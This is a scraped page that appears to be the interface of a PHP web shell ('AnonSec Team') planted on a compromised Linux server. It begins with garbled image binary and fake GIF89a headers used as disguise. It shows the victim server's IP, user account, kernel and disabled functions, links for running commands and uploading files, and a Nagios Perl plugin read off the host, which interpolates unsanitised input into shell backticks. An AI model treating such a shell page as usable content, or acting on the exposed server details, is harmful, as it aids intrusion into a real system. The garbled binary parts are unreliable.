����JFIF��x�x������Exif��MM�*���� ����E���J����������������(������������������ Xzourt Bypazz

Upload your file


�����x������x������C�     ���C   ����<�d"�������������� �������}�!1AQa"q2���#B��R��$3br� %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�������������������������������������������������������������������������������� ������w�!1AQaq"2�B���� #3R�br� $4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������ ��?��S��(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(��ÿØÿà JFIF ÿþ;GIF89;aGIF89;aGIF89;a AnonSec Team
AnonSec Team
Server IP : 103.191.208.227  /  Your IP : 3.139.69.151
Web Server : LiteSpeed
System : Linux emphasis.herosite.pro 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
User : mhmsfzcs ( 1485)
PHP Version : 8.1.31
Disable Function : show_source, system, shell_exec, passthru, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /lib64/NetworkManager/../nagios/plugins/contrib/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //lib64/NetworkManager/../nagios/plugins/contrib/check_wave.pl
#!/usr/bin/perl

# CHECK_WAVE.PL
# Plugin to test signal strength on Speedlan wireless equipment
# Contributed by Jeffry Blank

$Host=$ARGV[0];
$sig_crit=$ARGV[1];
$sig_warn=$ARGV[2];




$low1 = `snmpget $Host public .1.3.6.1.4.1.74.2.21.1.2.1.8.1`;
@test=split(/ /,$low1);
$low1=@test[2];


$med1 = `snmpget $Host public .1.3.6.1.4.1.74.2.21.1.2.1.9.1`;
@test=split(/ /,$med1);
$med1=@test[2];


$high1 = `snmpget $Host public .1.3.6.1.4.1.74.2.21.1.2.1.10.1`;
@test=split(/ /,$high1);
$high1=@test[2];

sleep(2);



$snr = `snmpget $Host public .1.3.6.1.4.1.762.2.5.2.1.17.1`;
@test=split(/ /,$snr);
$snr=@test[2];
$snr=int($snr*25);
$low2 = `snmpget $Host public .1.3.6.1.4.1.74.2.21.1.2.1.8.1`;
@test=split(/ /,$low2);
$low2=@test[2];


$med2 = `snmpget $Host public .1.3.6.1.4.1.74.2.21.1.2.1.9.1`;
@test=split(/ /,$med2);
$med2=@test[2];


$high2 = `snmpget $Host public .1.3.6.1.4.1.74.2.21.1.2.1.10.1`;
@test=split(/ /,$high2);
$high2=@test[2];



$low=$low2-$low1;
$med=$med2-$med1;
$high=$high2-$high1;

$tot=$low+$med+$high;


if ($tot==0)
  {
   $ss=0;
  }
else
  {
   $lowavg=$low/$tot;
   $medavg=$med/$tot;
   $highavg=$high/$tot;
   $ss=($medavg*50)+($highavg*100);
  }
printf("Signal Strength at: %3.0f%,  SNR at $snr%",$ss);
#print "Signal Strength at: $ss%,  SNR at $snr%";
if ($ss<$sig_crit)
  {exit(2)}
if ($ss<$sig_warn)
  {exit(1)}

exit(0);

AnonSec - 2021